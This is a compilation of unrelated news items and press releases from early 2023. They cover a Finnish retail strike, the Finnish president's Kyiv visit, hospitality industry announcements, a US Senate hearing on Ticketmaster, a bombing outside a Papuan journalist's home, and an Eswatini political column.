The negotiations were far from finished. We had only discussed the proposal texts on both sides. Pay negotiations would have been the next phase of the negotiations. Unlike PAM is claiming, the Commerce Federation had promised to respond to the pay rise proposal in the next scheduled meeting on Thursday, said Anna Lavikkala, the head of labour market affairs at the Commerce Federation.

A spokesperson at the federation estimated that shops should be able to keep their doors open by utilising managerial and reserve employees.

The Commerce Federation and PAM began their negotiations over a new collective bargaining agreement on 12 January. Kalliorinne told Helsingin Sanomat that the negotiations will continue under the guidance of the national conciliator on Thursday.

We havent had strikes in the retail sector since 2010, so this is a rare situation, he commented.

Aleksi Teivainen  HT
The Presidents will discuss the current situation concerning the war of aggression that Russia started 11 months ago, Finlands political and material support to Ukraine and Ukraines efforts to bring about a just peace.

President of the Republic of Finland Sauli Niinisto visits Ukraine and meets President of Ukraine Volodymyr Zelenskyy in Kyiv on Tuesday 24 January 2023. The visit underlines Finlands strong and continuous support to Ukraine

After a joint press conference following the meeting, the Presidents will continue the discussion over a working lunch.

In addition to the meeting with President Zelenskyy, President Niinisto visits Borodianka and Bucha, where local authorities will show him the ravages of war and tell him about the suffering caused to civilians by the Russian invasion. The programme in Kyiv also includes the laying of a wreath at the Wall of Remembrance for those fallen in the war, followed by a meeting and a discussion with local university students.

HT

Source: Office of the President of the Republic of Finland
South Africa: Cele calls for harsh sentences for cop killers

Police Minister, Bheki Cele, has called on the courts to mete out the harshest possible sentence to criminals who murder police officers.

This comes in the wake of the kiilling of yet another policeman in Port Edward, KwaZulu-Natal, at the weekend.

Cele and South African Police Service (SAPS) management, led by National Police Commissioner, General Fannie Masemola, will visit the family of the deceased warrant officer.

Police spokesperson, Brigadier Athlenda Mathe, said Warrant Officer Roger Mavundla, alongside three family members, including his 10-year-old daughter, was shot and killed when they were ambushed while travelling in their vehicle.

According to police reports, on the 21st of January 2023, 49-year-old Warrant Officer Mavundla and his wife and children, aged between 17 and 10, were ambushed and shot at, while inside their vehicle. The officer, his wife and two children sustained fatal wounds and died on the scene, while a third child is being treated at a local hospital, she said.

Mathe said the visit to Port Edward will see the provincial SAPS brief the Police Ministry on the crime patterns in the policing area and interventions in place to deal with violent crime and other contact crimes. The visit will also include a comfort visit to the Mavundla family home.

A total of 22 SAPS members were killed betwee July and September 2022.  SAnews.gov.za

This story has been published on: 2023-01-24. To contact the author, please use the contact details within the article.
Senate hails 2022 TOWNS Awardees

For their commitment to serve the country and for making a positive impact on our nation's development, the Senate adopted on Monday, January 23, 2023, a resolution hailing The Outstanding Women in the Nation's Service (TOWNS) 2022 awardees.

Senate Adopted Resolution No. 39 introduced by Sen. Sonny Angara was unanimously adopted by the Senate, taking into consideration SRNs 250, 252, 283, and 312 recognizing the TOWNS 2022 awardees, who were chosen out of 70 nominees across the country.

The TOWNS awardees were: Ani Rosa Almario (Education and Entrepreneurship), Rubilen Amit (Sports), Dr. Pia D. Bagamasbad (Molecular Biology), Dr. Beverly Lorraine Ho (Medicine & Public Health), Dr. Erika Fille Legara (Data Science), Keisha Alena Mayuga (Transport Planning), Ana Patricia Non (Community Service), Anna Rosario Oposa (Marine Ecology Conservation), Patricia Marie Ranada (Investigative Journalism), Georgina Romero (Women Empowerment Through Information and Communications Technology), and Dr. Aletta T. Yniguez (Marine Science).

"I hope they (TOWNS awardees) will serve as true inspiration to everyone to use their talents and skills in uplifting the lives of our fellow Filipinos and for nation-building," Angara said in Filipino.

All senators were made co-sponsor of the adopted resolution.

The TOWNS award is given to Filipinas age 21 to 50 who have shown outstanding dedication, exceptional talent, and careers that have contributed in a positive way to society.

The TOWNS Foundation Inc. is a national organization of dynamic and effective women who have been helping transform the lives of the Filipinos.
Indian Hotels Company (IHCL), India's largest hospitality company, today announced the signing of its first hotel in Indore, Madhya Pradesh under the Vivanta brand. The Greenfield project is slated to open in 2026.

The 115 key hotel is strategically situated a short driving distance from the airport and industrial areas with presence of large automotive, pharmaceutical and textile companies. Other facilities at the hotel will include an all-day diner, a bar, swimming pool, fitness centre and a spa. It will also offer over 550 sq. mt. of banqueting space including meetings rooms.

Indore is the largest city in the state of Madhya Pradesh as well as its financial capital. It is also one of the education hubs in the country and a gateway to Ujjain, a major pilgrim destination.

With the addition of this hotel, IHCL will have eight hotels across Taj, Vivanta and Ginger brands in the state of Madhya Pradesh including one under development.

Hotel website
MADRID - The state of borrowing for hotel acquisitions, development and renovations is fraught all over the world as global economies continue to struggle with the effects of a pandemic.

In Africa, the situation is even more difficult, as for decades there has been a bias in the greater international banking community that doing business in Africa is risky.

Rather than waiting for the world to right itself and for outside lenders to catch on, hoteliers in Africa are finding their own solutions for financing.

During a panel on Africa at the Atlantic Ocean Hotel Investors Summit, hosted in Madrid, hotel investors discussed the vehicles available to get deals done and projects off the ground.

Jean-Louis Ekra, founder of Abidjan, Ivory Coast-based investor Ayipling Morrison Capital, said financial institutions such as the Africa Import Export Bank have initiated vehicles able to lend to African hotel and tourism developments with better terms and more alignment.

Banks have started to ease construction risk. We saw that risk was so high, it had to be dealt with, he said.

Read the full article at HotelNewsNow (part of CoStar)
MARKHAM, Ontario - Maestro PMS, the hospitality industrys most trusted and proven provider of cloud and on-premises Web and Mobile property-management systems, is entering the new year with a fresh perspective on what hoteliers want from their mission-critical property systems. Coming off the heels of its Annual User Conference, Maestro team members spoke to customers to gain insight into their wants, needs, likes and dislikes related to training, operations optimization, product features/functionality, deployment flexibility and the role of the PMS to help them maintain close relationships with guests.

Maestro has been developing innovative hospitality software for more than 45 years. We build advanced, flexible technology and maintain an unrivaled dedication to customer service. Maestro has been in the market as a privately held organization longer than most PMS system providers and our platform is mature, stable, and proven. The sophistication achieved with a long history of working with clients and recognizing market demands has allowed us to offer an innovative and robust all-in-one solution rare in the marketplace. With a leadership team passionate about technology innovation, Maestros Cloud, Web and mobile solutions are  and always will be  leading edge. Audrey MacRae, Maestro vice president

We believe in providing not only the software hospitality operators need to be successful, but the integral services to back it up and ensure it is always at optimum performance and clients are thriving, MacRae said. We support this through a commitment to protecting our client's investment, demonstrated by listening to our customers and incorporating their input into our roadmap for the development of our software and delivery of our services. We are providing what they need, the way they ask for it.

What do hoteliers say they want from their PMS in 2023 and beyond? Here are the Top 5 responses:

Intuitive software that is easy to use and widely adaptable with flexible training options. Technology that is continually enhanced based on customers request and free upgrades to new versions. Cloud hosting in any cloud for easy accessibility, accommodation of corporate IT environments and increased security. Open APIs and easy integration to trending third party systems to keep their solution robust. Support of touch and mobile devices to streamline service and engagement.

The good news for hoteliers is that this PMS functionality wish list already exists within Maestro PMS, MacRae said. Our software is always NEW because its always evolving and it is geared to help independent hoteliers generate more revenue, create a productive working environment, and maximize staff efficiencies. Based on customer feedback, and the constant demand for the Maestro solutions out in the market, we are meeting their needs  but dont just take our word for it. Here are comments from customers discussing what they like best about Maestro.

Cloud Based & Responsive

Previously, our hotel used to have an on-premises PMS with a physical server located in our hotel, but Maestros cloud services won us over. What attracted me to their system the most is the all-in-one concept at work throughout the program that helps me run the hotels day-to-day operations, as well as their direct support. We had many instances where Maestros live chat came in very useful, such as moments where a guest was physically in front of us, and we were unable to complete a transaction, a credit card would not be accepted, or a reservation was lost. Within 30 seconds of opening the chat session we were able to resolve the entire issue, all while the guest was patiently waiting, which speaks to how fast and efficient Maestros live chat help is. Benjamin Elgrably, General Manager at Bay Pointe Inn Resort

Maestro is platform independent, and therefore it can host a hotels PMS in the Maestro Cloud, on-premises with the server onsite, or self-hosted by the hotel in its own cloud all with the same Maestro functionality, support for integrations, and ease of access through a Web browser. This autonomy is transparent to the end user. If self-hosting works today but is not optimal tomorrow, hoteliers can simply switch their hosting status without penalty. At Maestro, cloud hosting is synonymous with convenience. No matter which deployment option operators choose, each will support a safe and secure digital guest experience with the latest mobile, contactless, and web-based technologies including our extensive integration and API libraries to enhance the guest journey.

Modern & Mobile

The fact that Maestro [allows users] to move between pages and windows at any time is very helpful. We are now using mobile tools and are preparing to introduce digital registration cards, which will enable the guests to register before their arrival, making the check-in process much faster and smoother. [Hotels] need to find new ways of using the staff that we have in a more efficient way. The contactless options that Maestro offers enable us to activate our staff in ways other than sitting at the desk and constantly putting information into the system. Features such as self-check-in also help with operations in a number of ways. Isabela Todorov, Front Office Manager and Corporate Master Trainer at Cape Resorts

Maestros mobile check-in/-out and digital registration options speed service and get guests in and out of their rooms quicker. Its GuestXMS guest and staff SMS/text messaging tool provides labor benefits, from post check-in messages for guests to addressing guest concerns throughout their stays without forcing them to visit or phone the front desk. GuestXMS encompasses on-site staff text messaging, guest surveys, a 24/7 chat concierge, incident and case management actionable dashboards and reputation/guest sentiment analysis to blanket the entire guest journey.

Customizable & Efficient

We've been with Maestro for several years, and we've seen how the company has developed and added new features over time, including adding features we've asked for or adjusting an existing feature to meet our needs. Maestro can customize, up to a certain point, what you need to run your operation efficiently. I personally use Maestros web-based PMS on my hotels desktop, but some users choose to access the traditional Maestro Windows system depending on what they are doing. This allows us as operators to leave it up to the individual worker to decide what they're most comfortable using. Larry Weiss, Controller at The Olde Mill Inn and Grain House Restaurant

Maestros Web browser-based systems give operators the freedom to control their properties from anywhere and use a variety of devices, something that has become a necessity due to limitations on available labor and the growing need for operational flexibility. With interdepartmental and cross-property staff communications capabilities, guest self-service tools, advanced rate and yield management and reputation management, as well as an all-in-one multi-module approach to managing all facets of the operation in a single, centralized system, Maestros Web browser-based system has the right suite of tools to improve efficiency and agility.

Supportive & Caring

Maestro's support and sales teams are all very customer focused. I've worked with partners at previous properties that treat you almost like a test case. These [companies] are simply there to quickly answer a question or pass you off to another team member that might be able to help. By comparison, Maestro's support team and other team members really follow through with assisting operators with any challenges they are having. They walk you through the steps, make efforts to connect with you, and not just fix the problem, but help to ensure that the problem doesn't continue to happen. Cory Nuckolls, Director of Guest Services at Lake Junaluska Conference & Retreat Center

Maestro is known industrywide for its Diamond Plus Service. The company offers a comprehensive suite of services and tools designed to maximize operational efficiency and staff productivity backed by a 24/7 call center; free version upgrades; on-demand live one-on-one refresher training; in-application live chat, online user guides, tutorials, and direct email support; complimentary live learning webinars; an e-Learning user website; and professional productivity audits.

The success of our clients is the motivating force behind every action at Maestro, MacRae said. Our roadmap for 2023 is relevant and exciting. We will continue to listen and engage with our clients to supply the technology tools to help them better serve their guests and contribute to their bottom line. The takeaway is this: Maestro is NEW today, and it will be NEW tomorrow.

For more information on Maestro PMS, visit maestropms.com.

About Maestro

Maestro is the preferred Web Browser based cloud and on-premises PMS solution for independent hotels, luxury resorts, conference centers, vacation rentals, and multi-property groups. Maestros PCI certified and EMV ready enterprise system offers a Web browser version (or Windows) complete with 20+ integrated modules on a single database, including mobile and contactless apps to support a digitalized guest journey as well as staff operations. Maestros sophisticated solutions empower operators to increase profitability, drive direct bookings, centralize operations, and engage guests with a personalized experience from booking to check out and everything in between. For over 40 years Maestros Diamond Plus Service has provided unparalleled 24/7 North American based support and education services to keep hospitality groups productive and competitive. Click here for more information on Maestro. Click here to get your free PMS Buying guide.

Barb Worcester
Industrys Top honor, North Star Award, Presented to Sandra Hudgins, Sonesta Select Chattanooga at Hamilton Place & President, CEO of Wyndham Hotels & Resorts Ballotti Receives 2nd Annual Arne Sorenson Social Impact Leadership Award.

LOS ANGELES  The AHLA Foundation raised a record $1.2 million at its 5th annual gala to celebrate winners and up and coming hospitality super stars, while raising funds to support the AHLA Foundation programs that are helping the industry recruit and retain the stars of tomorrow.

Each year, the Night of a Thousand Stars gala celebrates the hotel industrys most important VIPs  the property-level talent that makes the industry so unique. Throughout the evening, industry leaders commemorated the 2023 Stars of the Industry Award winners and the individuals that embody the spirit of hospitality, while raising critical funds to support Foundation programs.

The Night of a Thousand Stars Gala showcases the amazing and passionate women and men who make hotels feel like home and move our industry forward. So much of their work is behind the scenes, and this is a wonderful opportunity to give them the praise and recognition they deserve. The overwhelming support the hotel industrys philanthropic arm received at this event will directly impact lives and the future of our industry for the better. Anna Blue, President of the AHLA Foundation

As part of the celebration, President & CEO of Wyndham Hotels & Resorts Geoff Ballotti became the second ever recipient of the Arne Sorenson Social Impact Leadership Award for his extraordinary efforts to advance positive societal change.

Geoff  much like Arne  is a true embodiment of all the good that hospitality represents. His empathy, his accessibility and his commitment to doing the right thing is what makes him one of our industrys greatest leaders. The story of his success, from dishwasher to CEO of the worlds largest hotel franchisor, is inspirational  as is his dedication to ensuring the success of future hotel leaders. I am lucky to call Geoff a colleague and friend, and it fills me with pride to honor him with this award. AHLA President and CEO Chip Rogers

The vital funds raised help Foundation beneficiaries such as Asia Magee, a graduate of the Empowering Youth Program in collaboration with Cafe Reconcile. Asia worked with Kimberly Chavis, a curriculum and training specialist at Cafe Reconcile, who helped Asia with her skills training that she now applies to her hotel job. See her story here.

Several industry organizations were also central to the evenings success including two presenting sponsors, Hilton and Qwick, who sponsored the event at the highest levels.

Hilton is proud to support the work the AHLA Foundation does to build careers, improve lives, and strengthen the lodging industry. Tonights distinguished winners and finalists, including our very own Katie Ward, bring their passion for what they do to work each day and create unforgettable experiences for guests across the country. We are honored to be here tonight to celebrate these incredibly talented leaders. Kevin Jacobs, CFO & President, Global Development, Hilton and Presenting Sponsor

Qwick and the AHLA Foundation have a shared vision to create a stronger industry workforce, which is why we are honored to again sponsor Night of a Thousand Stars. This important event not only provides the industry an opportunity to acknowledge those that make it great, but the funds raised help all of us to empower more people to work in hospitality. Jamie Baxter, Co-Founder & CEO of Qwick and Presenting Sponsor

The foundation also announced the return of The Shining Star Award  it honors a person or organization that has gone above and beyond to advance the Foundations mission of helping people build careers, improve their lives, and strengthen the lodging industry. The heroic staff of the Hyatt Regency DFW International Airport received this award for their anti-human trafficking work.

AHLAs 2023 Stars of the Industry winners were honored for their service to the industry:



North Star Award Winner:

Sandra Hudgins, Laundry Attendant, Sonesta Select Chattanooga at Hamilton Place, Chattanooga, TN

North Star Award Finalists:

Sandra Hudgins, Laundry Attendant, Sonesta Select Chattanooga at Hamilton Place, Chattanooga, TN

Azhar Mushtaq, Task Force Manager, Extended Stay America, Charlotte, NC

Oreste (Rusty) Pinera, Overnight Operations Manager, Hyatt Regency Grand Cypress, Orlando, FL

Outstanding General Manager of the Year (Full Service):

Katie Ward, Embassy Suites Minneapolis Airport, Bloomington, MN

Outstanding General Manager of the Year (Select Service):

Harold Daniels, Travelodge by WH, Memphis, TN

Paving The Way Award:

Rachel Moniz, Principal & Chief Operating Officer, HEI Hotels & Resorts, Norwalk, CO

Stevan Porter Emerging Hospitality Leader of the Year:

Madelyn Dingam, Marketing Manager, Cliff House Maine, Cape Neddick, ME

ABOUT AHLA FOUNDATION

The AHLA Foundation, the charitable giving arm of the American Hotel & Lodging Association, is dedicated to helping people build careers, improve their lives and strengthen the lodging industry. We provide impactful solutions that drive the recruitment, retention and development of individuals for life-long careers in hospitality. To transform the industry and change lives, we connect the unemployed and underemployed with new career pathways and provide educational programs and resources to support their professional advancement. The Foundation is funded by grants and charitable contributions from generous individuals and organizations who want to support individuals seeking opportunities to thrive in the hotel and lodging industry. Learn more at www.ahlafoundation.org

About the American Hotel & Lodging Association (AHLA)

The American Hotel & Lodging Association (AHLA) is the sole national association representing all segments of the U.S. lodging industry. Headquartered in Washington, D.C., AHLA focuses on strategic advocacy, communications support and workforce development programs to move the industry forward. Learn more at www.ahla.com.
Its been a couple of challenging years for the hotel industry, but it seems as if the sun has finally broken on the horizon.

With travel demand continuing to increase  46% of consumers said travel is more important to them now than it was pre-pandemic  this offers more hotel advertising opportunities than the past few years. Our recent custom research gives us in-depth insights into what travelers are looking for, the latest hotel trends, and what travel professionals are prioritizing.

Whether youre a proprietor of a small property or a hotel revenue manager at a large chain, our findings will help you understand the current trends in the hospitality industry.

Lets take a deeper dive into the trends were seeing for the year, and how this can help you create the best marketing strategies to build and grow your business.

Traveler and hotel industry trends

Our research included 11,000 consumers and 1,100 travel professionals from 11 major markets. What weve learned from their responses is that travelers views have changed as the pandemic has waned.

After the first wave of the pandemic was over, hotels successfully promoted the efforts they were making to ensure that cleanliness was a top priority to ease travelers concerns. One of the key findings in our research is that travelers are less concerned with health and cleanliness now than they were previously. While safety and cleanliness remain important, lower prices are now more of a priority than minimizing exposure to Covid and exceptional experiences are seen as being worth the price of travel.

Source: Expedia Group Media Solutions

The top three priorities for travelers when booking travel are:

Low pricing Ability to get a full refund Flexible cancellation policies

To adapt to the unpredictability the pandemic brought, many hotel professionals (77%) implemented new pricing structures, refund and cancellation policies. And 96% of these hotel professionals said they still offer refundable services or hotel credits to be used at a later stay. From what weve learned about travelers top priorities, its clear that many still value these policies.

While price is top of mind for travelers, many industry professionals dont view the importance of price in the same light.

Source: Expedia Group Media Solutions

More than one half of consumers place an emphasis on cost, but less than a quarter of industry professionals do. This cost-conscious approach to booking travel persists: 60% of consumers said getting the right price is the most important feature when theyre looking to book.

People are also traveling with purpose. Top motivators for travelers include physical and mental health (49%), change of scenery (49%) and making up for lost time (46%). Think about how you can tie in cost savings at your property with the motivators consumers cite. For example, can you highlight cost-effective stays that provide a relaxing, retreat-like atmosphere or offers that combine experiences like scuba diving with exotic beachside accommodations.

Business and international travel

Interest in international travel has increased, with 50% of consumers likely to travel internationally in the next 12 months or have already booked a trip. This is a positive sign: In mid-2020 only 12% of people had the same travel plans.

Business travel is also up: One third of consumers said theyre planning a business trip. With this growth in business travel, were also seeing the return of bleisure (extending a work trip) and flexcations (remote work extended stays). This provides an opportunity to connect with bleisure travelers who are looking for a vacation experience or appeal to remote workers by highlighting local experiences and sharing insiders tips to the area.

Optimistic outlook

Hotel travel professionals have an optimistic outlook for 2023 and outrank other industries when it comes to believing that travel demand will return to previous levels this year  if they havent already returned. Our first-party data backs this up: In the second quarter of 2022, lodging bookings were the highest in Expedia Group history, with gross bookings up 8% from the second quarter of 2019.

Sustainability and accessibility

Travelers are interested in sustainability and inclusivity when theyre looking to book: 70% of consumers said they are more likely to choose travel options that are more inclusive  and this is where consumers depart from price sensitivity and said they would opt for inclusive options, even if its more expensive. When it comes to sustainability, two in three consumers said they want to know what sustainable policies are in place.

Advertising solutions to meet any need

At Expedia Group Media Solutions, we understand that your marketing needs vary. Thats why we offer a host of solutions to meet your unique needs, whether youre running a small bed-and-breakfast property or running a large, global brand.

Considering the trends weve identified above, heres an overview of how some of our solutions that can help you:

Connect with 200+ travel websites with TravelAds Sponsored Listings. With precise targeting and the ability to create ad copy that speaks to the uniqueness of your property, you can get in front of the right traveler. Use dashboards with real-time data to keep a pulse on how your campaigns are doing.

Display advertising can connect you to travelers throughout their shopping journey. Get ad placements that seamlessly integrate across our sites, whether its mobile or desktop.

Gain a bigger impact when you use co-op campaigns. Well help you find the right hotels partners to work with to achieve your collective goal.

To learn more about the array of advertising solutions we provide, connect with one of our experts today.

Understand 2023 traveler and industry trends

To find more insights, check out our full 2023 Traveler Value Index, which examines what people value in their travel experiences and the priorities that are shaping decisions with travel industry professionals.

Download the Report.

About Expedia Group Media Solutions

Expedia Group Media Solutions is a global travel advertising platform that connects marketers with hundreds of millions of travelers across the Expedia Group brands. With our exclusive access to more than 70 petabytes of Expedia Group traveler search and booking data, we offer advertisers actionable insights, sophisticated targeting, and full-funnel results reporting. Our suite of solutions includes display, sponsored listings, audience extension, co-op campaigns, and custom creative campaigns  all designed to deliver on the objectives of our advertising partners and add value for travel shoppers on our branded sites globally. With a consultative approach and more than 20 years of travel and media experience, we help our advertising partners inspire, engage, and convert travelers for meaningful results. For more information, visit www.advertising.expedia.com.

 2022 Expedia, Inc., an Expedia Group company. All rights reserved. Trademarks and logos are the property of their respective owners. CST: 2029030-50

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Senators slam predatory Ticketmaster, float forced Live Nation breakup

[UPDATED] Tuesdays Senate Judiciary Committee hearing was unusually bipartisan in condemning Ticketmaster and Live Nation for monopolistic practices and predatory ticket pricing and fees.

In his testimony before the committee, Live Nation President and COO Joe Berchtold blamed venues for high ticket fees and bots and scalpers for the recent Tayor Swift on-sale problems. The latter is what led to a terrible consumer experience, which we deeply regret, he said.

Who Really Sets Ticket Fees?

We do not set ticket prices, the number of tickets that go on sale or set the fees; venues do, Berchtold told Senators, and the fee that Ticketmaster receives of that fee has steadily gone down.

It is an open industry secret that ticket fees often allow venues to earn revenue outside of their deals with the artist and to pay back advances that Ticketmaster gives in exchange for exclusive long-term ticketing contracts. Top-tier artists sometimes also receive a portion of ticket fees, though most do not.

Witness Jerry Mickelson of independent promoter Jam Productions pointed out that in Europe, venues do not have exclusive ticket deals.

Clyde Lawrence of indie artist Lawrence The Band described how most artists earn their income from live performances but have no control over ticket fees. He added that, usually, he couldnt even find out what the fees will be before they go on sale. Most ticket fees for Lawrences shows have been around 27%, with fees for at least one show over 80% of the total ticket.

Live Nations Berchtold said that artists should know their ticket fees in advance and pledged to make that information available.

Blaming bots fell flat

Bechtold blamed bots for the Taylor Swift tour on-sale fiasco, but Mickelson countered that he found the claim that the worlds largest ticketing company could not do more to stop bots unbelievable.

Senator Marsha Blackburn (R-TN) echoed Mickelsons skepticism stating that even small tech companies are regularly able to block bots, so why not Ticketmaster?

All-in tickets

Bechtold said that Live Nation supported proposed legislation backed by Senator Richard Blumenthal (D-CT) and others requiring all-in pricing that includes all fees. Opponents of all-in tickets argue that fans deserve more transparency, including fees and who receives them.

Lawrence shares that sentiment, saying that while transparency was essential, fans also deserved to know what portion was the ticket and what were fees.

Its not us, its everyone but us

While Blumenthal and Bechtold agreed about all-in tickets, the Senator blamed Live Nation for an its not us, its everyone but us stance, particularly given its clear dominance and monopolistic control over the live music marketplace. Mickelson shared data that more than 80% of the top 40 concerts in 2022 were in Tickemaster-controlled venues.

Blumenthal, Senator Amy Klobuchar (D-MN), and several conservative Senators from the other side of the aisle, including Senator Ted Cruz (R-TX), raised anti-trust issues and the possibility that Live Nation and Ticketmaster be separated as companies.

The only way to restore competition in this industry is to break up Ticketmaster and Live Nation, added Jack Groetzinger, Chief Executive Officer of Ticketmaster competitor SeatGeek.

Bruce Houghton is the Founder and Editor of Hypebot and MusicThinkTank, a Senior Advisor at Bandsintown, President of the Skyline Artists Agency, and a professor for the Berklee College Of Music.

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The Maloneys pose with first responders who came to their aid when Charliegh Mae was born on Dec. 28. Fire Chief James Peltier pins members of the Fire Department for their efforts on behalf of the Maloney family. PreviousNext

Dalton First Responders Recognized for Aiding Mother and Newborn

Brittany and Michael Maloney with William, 2, and Charliegh, born Dec. 28 at the Windsor/Dalton town line.

DALTON, Mass.  Brittany Maloney woke with contractions at 6 a.m., three days after Christmas.

She tried to relieve her discomfort with a yoga ball  but that apparently hastened the process. Soon her water broke so the family set out from their Savoy home to Berkshire Medical Center.

They only made it as far as the Windsor/Dalton line when Charliegh Mae Maloney decided it was time to enter the world.

Although Michael Maloney had some emergency training as a military police officer in the Marines, this situation was like no other, he said.

Brittany gave a "battle cry," he said, and then he caught Charliegh in his arm and kept on driving.

He called dispatch to request a police detail to get to the Pittsfield hospital. Dispatch urged Michael to pull over and wait for emergency personnel. But Brittany had had complications when 2-year-old William was born and, concerned about his wife's safety, Michael said that was not an option but agreed to drive to the fire station.

Firefighters had him pull his pickup inside and then assessed the well-being of the mother and child, clearing the baby's airways, cutting the cord, taking vitals, and maintaining the mother's blood loss.

The ambulance was out on a call. For 30 minutes, Michael sat at the station holding his baby girl as firefighters attended to Brittany until she could be transferred to the hospital.

Their teamwork and response to the Maloneys' emergency was recognized at Monday's Select Board meeting.

"This group of responders had to do this with supplies gathered from the supply locker as well as other vehicle first aid kits. This is where the teamwork of all the responders came into effect," Fire Chief James Peltier said.

"I would like to applaud all of them for the communications division, Police Department, Fire Department as well as the fire explorers on the scene. The saying, 'it takes a village' was very true that day."

He pinned each of the first responders with a "stork pin" commemorating their work.

The couple praised the first responders and are now able to laugh about Brittany's initial worries about leaking amniotic fluid on the truck's seats that had her insisting on changing pants as Michael was trying to get her out the door.

Luckily the Carhartt seat covers protected the seats and the couple joked how it would be a good advertisement for the company.

They are a little disappointed midwife Patricia Giardina couldn't deliver their second child before her retirement, or be able to video the birth. They've asked for a recording of the 911 call as a remembrance.

Brittany knew Charleigh was due on Dec. 28 but didn't know she was having a girl. Michael knew but kept quiet because Brittany wanted to be surprised.

"I was the only one who knew. I wouldn't even tell a random person," Michael said. "Everybody tried to get me to tell someone but I wouldn't, so I knew at 20 weeks."
Veteran journalist and former regional AJI head Victor Mambor has reported the detonation of an explosive device outside his home on the morning of January 23, 2022. The International Federation of Journalists (IFJ) joins its affiliate, the Alliance of Independent Journalists (AJI) Indonesia in condemning ongoing intimidation directed towards critical journalists, and urging law enforcement to conduct a thorough and transparent investigation into the incident.

Police have confirmed the use of an explosive device outside the Jayapura home of veteran journalist and former AJI Papua chair Victor Mambor on January 23. At around four A.M., Mambor reported hearing a motorcycle driving away from his home, followed by a powerful explosion.

According to AJI Jayapura, the device was set off three meters from the journalists home, leaving a hole in the road. The effort failed to damage any property or cause harm to Mambor or his family. Police are currently investigating the incident, with the perpetrators or their motives currently unknown.

Mambor, the editor and founder of independent Papuan online news outlet Jubi has previously faced online harassment and other intimidation attempts for his critical reporting. In April 2021, Mambors cars windshield and windows were smashed, and graffiti was sprayed on the doors of the vehicle.

The incident has inspired condemnations from human rights organisations, journalists' associations, and press freedom advocates, who have called the incident an attack on freedom of expression, and urged police to identify those involved in the attack.

AJI said: The Alliance of Independent Journalists (AJI) strongly condemns the bombings as a threat to press freedom in Papua. AJI urges the Indonesian Police to thoroughly investigate the perpetrators behind the terror. AJI call all journalists in Papua not to be afraid and give up on voicing the truth amidst various obstacles.

The IFJ said: The detonation of an explosive device outside Victor Mambors home is a blatant and unacceptable act of intimidation. The IFJ strongly condemns this latest incident directed against Victor Mambor and urges West Papuan authorities to conduct a thorough and transparent investigation into this incident.
Maybe one should be honest and say that one has never seen as beneficial the idea of boycotting the various political exercises in Eswatini, as from the vuselas led by Prince Guduza to the constitutional review committee that was led by Prince David.

I think it was a lost opportunity, particularly in the formation of the Constitution. The progressives contribution was lost to the nation simply because there was a strong feeling that they would not have made a meaningful difference but would have only served to authenticate a flawed and predetermined Constitution. His Majesty the King was surrounded by very wise emaSwati who could anticipate the future. The quality of men, like Mario Masuku, and Zombodze Magagula, to mention a few, whom were invited to participate but boycotted, showed us the wisdom in our leadership of the time. The country owes a great debt to Prince David for producing one of the best constitutions under those circumstances. He was attacked by the royalists and progressives alike, and we are told he had to be briefly admitted to a hospital for stress-related conditions. I can only imagine what would have happened to him if progressives had not boycotted.

Our Parliament has been accused of having a poor quality leadership year after year because, I would suppose, the political activists with greater progressive national and political aspirations shunned Parliament. They have continued the narrative that real political change from within does not work. Thus, it is alleged that the whole process of elections has been left to emaSwati simply seeking easy employment for five years and possibly 10 years. If these employment-seeking individuals are voted into certain portfolio committees and earn themselves a few sitting allowances, that is even better. And there is the possibility of a Cabinet position that comes with prestige, responsibility and an even bigger salary; one gets to travel the world and stay in expensive hotels. This is, of course, if you have some qualifications or unique life experiences to earn you the more prestigious positions, preferably chairperson or deputy chair, to benefit from that appointment.

Evolution of Eswatini politics

With the evolution of Eswatini politics, elections have become very expensive. The campaign process is way too expensive, with the electorates expectations moving away from hard work, principles and policies to cash for the votes. The situation is just as bad for Members of Parliament (MPs) and senators who come in through votes from the elected MPs. They have to pay big. This effectively means parliamentarians have to spend to win, and then to maintain their position as practically the local undertakers, social security officers (looking after the poor of the area), paying school fees and spending on their own families. This means most MPs are already highly indebted and their salaries have to offset the debts. They are highly compromised, hence they cant be bothered by contentious political challenges that could put their jobs at risk. One may ask why a very impotent ministry, energy, has no minister at a very critical time. Basically, it is to keep the MPs in line as they all hope to be appointed into Cabinet.

To boycott or not

With the brief analysis I have attempted to give, joining the elections and campaigning for Parliament with the hope of real political change is absolutely useless if there is no funding. Political parties, internationally, organise and fundraise for political campaigns. This burden is not left to an individual, as is the case in Eswatini. At the same time boycotting elections year after year and hoping for a different result politically is also not wise if there is to be political change. The answer is very clear.

Political party funding, support

Those who have followed my writings know that I am, unfortunately, not a great believer in multiparty politics. I have witnessed my continent bleed real African blood as fellow Africans kill each other in the name of one political party or another. I have seen bloodshed in my own Eswatini as new political parties square off against each other and blame the States security forces. However, I have been persuaded that the world has shifted strongly towards multiparty democracy. If my country is to achieve greatness, we need to adapt while considering our own version, which takes into account our culture and traditions. Maybe we will not kill each other as we jostle for power. Our Constitution allows political parties to exist and operate freely; this is despite many who will say otherwise. The truth is that they are allowed. The late unionist and former MP, Jan Sithole, opened the offices of The Swaziland Democratic Party at the SNAT building in Manzini and it is still there even today. The issue is funding and it must be done legally. This will produce MPs who are not burdened by debt and are free to challenge issues relating to the Constitution and can bring about meaningful political change.

Narrative

There is the narrative that His Majesty can disregard the Constitution and refuse to accept whatever amendments the people have decided through Parliament; as his gatekeepers would block any such moves. One would like to believe that the King respects Parliament and the Constitution, knowing very well that even his own power is given to him by the Constitution through Sibaya. We are all emaSwati and citizens of Eswatini because the Constitution says so. If changes are really coming from emaSwati, not individuals hiding behind curtain groupings, he has to respect them. This means if emaSwati, represented by 55 MPs, vote in 10 members, as per the Constitution, they become 65 members in the lower House. The Constitution then says the people vote in another 10 in the upper house of Senate, and the total becomes 75 members for both houses. His Majesty the King then appoints 10 in the lower House and 20 members to Senate, which means he appoints 30 members against 75 members from the people. Both houses can sit and vote using the two-thirds majority as per the Constitution to make political changes without bloodshed. It is NOT easy but possible. Comment septembereswatini@gmail.com
This publication is designed to introduce the fundamentals of investing in the Indian market and includes a gu...
KATHMANDU: Nepal Police is closely observing unscrupulous activities taking place in Nepal on account of the alleged misuse of Chinese-owned social media app TikTok, a police spokesperson said on Monday.

Along with Facebook and Twitter, the Chinese app TikTok has also faced criticism in Nepal and some have even called for banning it. However, Nepal Police says that it is now in the phase of effective monitoring to check the illegal activities taking place in the country by misusing the TikTok.

